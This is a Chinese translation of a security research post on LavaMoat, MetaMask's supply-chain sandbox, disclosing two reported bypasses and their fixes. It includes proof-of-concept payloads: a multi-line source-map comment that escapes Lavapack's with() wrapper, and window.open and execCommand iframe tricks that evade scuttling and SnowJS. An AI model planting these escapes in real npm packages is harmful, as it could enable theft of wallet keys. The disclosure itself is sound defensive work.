本文深入探讨了Web3中供应链攻击的兴起,以及LavaMoat作为防御机制的原理、特性及其存在的绕过方式。文章详细分析了LavaMoat的策略文件、NPM防劫持和Scuttling等安全特性,并通过实例展示了如何利用Webpack和JS Realms的漏洞绕过LavaMoat的保护机制,最终实现供应链攻击。此外,文章还介绍了Metamask针对这些漏洞的修复方案,以及SnowJS的未来发展方向。
揭秘 Lavamoat 及其如何在 Web3 中对抗供应链攻击。我们将揭露一些隐蔽的绕过方法,以此说明锁定 JavaScript 生态系统是多么棘手。
供应链 攻击在 Web3 中正变得越来越流行。作为回应,Lavamoat 已经成为一种强大的防御供应链攻击的机制,提供复杂的隔离和访问控制功能。这些功能有助于确保恶意依赖项无法执行有害代码。
在本文中,我们将探讨 Lavamoat 的每个组件如何工作,并深入研究我们报告的各种绕过方法。
需要注意的是,LavaMoat 有三个不同的版本:
Lavamoat1 最重要的三个特点是:
让我们逐一介绍它们。
策略文件是 Lavamoat 的一个重要特性,因为它们限制了对潜在危险的平台 API 和 Globals(全局变量)的访问。
例如,以下面的 Metamask Snap 策略文件为例:
"@metamask/providers": {
"globals": {
"Event": true,
"addEventListener": true,
"chrome.runtime.connect": true,
"console": true,
"dispatchEvent": true,
"document.createElement": true,
"document.readyState": true,
"ethereum": "write",
"location.hostname": true,
"removeEventListener": true,
"web3": true
},
"packages": {
"@metamask/object-multiplex": true,
"@metamask/providers>@metamask/safe-event-emitter": true
LavaMoat 策略中的 globals
部分指定了一个模块可以访问哪些全局变量和属性,从而设置其全局作用域交互的权限。同样,packages
部分概述了模块的依赖关系以及与这些依赖关系之间的权限或信任关系。这定义了 @metamask/providers
如何与其他包交互。
为了执行这些策略,LavaMoat 使用 lavapack
,这是一个自定义的 webpack,它包装每个依赖项并独立应用指定的规则。
一个重要的注意事项是,Lavamoat 不能仅仅依赖于发布在 NPM 上的包的名称。否则,恶意行为者可能会创建一个与流行的、受信任的包同名的包。
相反,Lavamoat 通过在一个项目的依赖树中遍历模块来查看每个包是如何连接的,从而为每个包生成一个唯一的名称。
Scuttling(废弃)是一个可选功能,它增加了一层额外的保护。即使攻击者泄露了真正的 GlobalThis
对象,或者通过恶意的包管理器访问了它,废弃也会删除敏感的 API,从而防止恶意请求被执行。
例如,在这里,我们可以看到 Lavamoat 在创建根包 compartment 后如何检查该功能是否已启用:
if (scuttleOpts.enabled) {
if (!Array.isArray(scuttleOpts.exceptions)) {
throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got "${typeof scuttleOpts.exceptions}"`)
}
scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))
}
随后,该代码定义了一个名为 generateScuttleOpts
的函数,该函数创建并返回一个选项对象。
最后,performScuttleGlobalThis
函数 修改了全局对象 ( globalRef
) 的属性。它首先创建一个数组 props
,其中包含 globalRef 原型链中所有属性的名称。然后,创建一个空对象作为废弃属性的代理。然后,该函数迭代每个属性,根据提供的配置更改全局 window 对象。
现在让我们开始有趣的内容。
Webpack 用于将所有模块和包打包成一个单独的文件。它将所有这些模块的代码插入到 bundle 文件中。检查 Lavapack 源代码,我们可以看到这实际上是如何发生的。
const filename = encodeURI(String(moduleData.file))
let moduleWrapperSource
if (bundleWithPrecompiledModules) {
moduleWrapperSource = `function(){
with (this.scopeTerminator) {
with (this.globalThis) {
return function() {
'use strict';
// source: ${filename}
return function (require, module, exports) {
__MODULE_CONTENT__
};
};
}
}
}`
Lavapack 使用 with()
代理来限制模块可以访问的对象,并且 __MODULE_CONTENT__
被替换为正在构建的项目所需文件的内容。
我们首先尝试在 javascript 文件中注入无效的 javascript,然后尝试转义 with
环境:
} // end function 1
} // end function 2
} // end with 1
} // end with 2
alert(document.domain)
但是,当我们尝试打包它时,抛出了一个 ParseError
。这是因为 Lavapack 是 browserify 的一个插件,它在替换代码之前会进行语法检查。
深入研究 browserify,我们发现它的 pipeline 中有一个 syntax
阶段,并使用 syntax-error
npm 包来验证每个 javascript 文件内容的语法。由于 Lavapack 替换了 browserify pipeline 中的 pack
阶段,该阶段位于 syntax
之后,因此无法注入无效的 javascript 来逃避 Lavamoat 沙箱。
syntax-error
包通过使用带有函数提升的 eval
来执行语法检查:
try {
eval('throw "STOP"; (function () { ' + src + '\n})()');
return;
}
catch (err) {
if (err === 'STOP') return undefined;
if (err.constructor.name !== 'SyntaxError') return err;
return errorInfo(src, file, opts);
}
有趣的是,可以 在源中注入一个 }); (() => {
,并且不会抛出语法错误。不幸的是,这还不足以绕过 Lavapack 的 with()
沙箱。
Lavapack 具有使用 convert-source-map npm 包从代码中提取 source map 文件的功能:
function extractSourceMaps(sourceCode) {
const converter = convertSourceMap.fromSource(sourceCode)
// if (!converter) throw new Error('Unable to find original inlined sourcemap')
const maps = converter && converter.toObject()
const code = convertSourceMap.removeComments(sourceCode)
return { code, maps }
}
此代码删除源代码的 source map 注释,这意味着在 syntax
阶段之后,Lavapack 实际上对源代码进行了修改。查看 convert-source-map
代码,我们可以准确地看到这是如何发生的。
Object.defineProperty(exports, 'commentRegex', {
get: function getCommentRegex () {
// Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.
return /^\s*?\/[\/\*][@#]\s+?sourceMappingURL=data:(((?:application|text)\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;
}
});
exports.removeComments = function (src) {
return src.replace(exports.commentRegex, '');
};
更深入地查看 RegEx,它匹配多行注释的开头 ( /*
),但不匹配结尾,这意味着在多行 source map 注释的情况下,语法会中断。
通过滥用 removeComments
函数,我们可以通过转义 with()
沙箱来绕过 Lavamoat 限制。为此,我们创建了一个多行 source map 注释,并将无效的 javascript 注入到注释中:
/*# sourceMappingURL=data:,{}
}}}}
}, {
package: "xpl",
file: "node_modules/xpl/index.js",
test: alert(document.domain),
test1: () => { () => { () => { () => {
/*
*/
这允许执行恶意代码,而不会破坏任何其他包或功能。此 payload 还会使供应链攻击更具影响力。任何注入的代码都会在导入 bundle 文件后立即执行。
Metamask 通过定义 assertValidJS
来缓解我们在 Lavapack 上报告的问题,assertValidJS
是一种独立检查,不同于我们用于利用该问题的 browserify 语法检查。
该补丁是在提交 9c38cd4 中引入的。
+ function assertValidJS(code) {
+ try {
+ new Function(code)
+ } catch (err) {
+ throw new Error(`Invalid JavaScript: ${err.message}`)
+ }
+ }
+ // additional layer of syntax checking independent of browserify
+ assertValidJS(sourceMeta.code)
Lavamoat 废弃删除了 globalThis
对象中不必要的和危险的属性。但是,当 Lavamoat 在浏览器上下文中运行时,可以很容易地绕过这一点。
const w = window.open('/non_existent');
w.alert(document.domain)
这将打开一个新窗口,其中包含一个新的 JS Realm(另一个 globalThis
对象),并使用它在废弃窗口的上下文中执行代码。请注意,该窗口需要同源并且不能被废弃。
作为一种缓解措施,某些应用程序将 SnowJS 与废弃集成在一起,因此每个新的同源窗口和 iframe 都会被检测到并废弃(查看 Metamask 实现)
SnowJS 是一种 javascript 沙箱实现,可保护浏览器应用程序中同源的 realms 。它配置为检测新的 realms 并将它们附加到沙箱。
作为一种机制,它会Hook可用于创建 realms 的函数(例如,iframe)。例如,以下是一些 hooked inserters 函数:
const map = {
Range: ['insertNode'],
DocumentFragment: ['replaceChildren', 'append', 'prepend'],
Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],
Node: ['appendChild', 'insertBefore', 'replaceChild'],
Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],
ShadowRoot: ['innerHTML'],
HTMLIFrameElement: ['srcdoc'],
};
这意味着攻击者不能使用任何这些函数来创建一个 iframe 并绕过 snowJS 沙箱,因为它会检测到新帧并将其包含在沙箱中。
不幸的是,客户端 javascript 异常复杂,具有许多奇怪的行为,可用于绕过 hook 安全功能。
已弃用的 document.execCommand
函数用于在 contenteditable
聚焦上下文中执行命令。尽管这是一个已弃用的函数,但现代浏览器仍然支持它。
<div id=test contenteditable autofocus></div>
将此元素插入到页面后,可以使用 document.execCommand
的 insertHTML
命令来添加一个未沙箱化的 iframe。
document.execCommand('insertHTML', false, '<iframe srcdoc="aaa">');
由于建议使用与 Lavamoat 废弃集成的 snowJS 以防止绕过,因此可以完全绕过废弃功能而无需前提条件。
对于该漏洞利用,唯一使用的函数是在 document
对象中,一旦它成为 globalThis
对象中的不可写和不可配置的属性,就永远无法废弃该对象。
考虑以下示例,该示例运行一个废弃的 alert
函数:
document.body.innerHTML = "<div id=test contenteditable autofocus></div>";
document.getElementById('test').focus();
document.execCommand('insertHTML', false, '<iframe srcdoc="aaa">');
document.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);
Metamask 正在进行概念上的更改,并旨在将 SnowJS 作为 W3C 标准中的浏览器功能集成,目的是不仅解决此问题,还解决 SnowJS 的所有其他已知问题。这里 是他们的新提案。
我们能够在 lavamoat 项目中找到两个漏洞:
通过结合这些漏洞利用,可以使用受损的依赖项完全绕过 lavamoat 供应链保护。
以 Metamask 为例,这些漏洞利用可用于检索扩展存储中的加密密钥对。唯一的前提是破坏 NPM 依赖项。
Lavapack 模块沙箱中的漏洞,以及我们讨论的关于 SnowJs 和废弃功能的问题,说明了在 JavaScript 生态系统中缓解供应链攻击的复杂性。虽然包含缓解措施的 lavapack 版本在不到两天的时间内可用,但固有的复杂性使得设计强大的安全实现成为一项具有挑战性的任务。
- 原文链接: osec.io/blog/2024-06-10-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!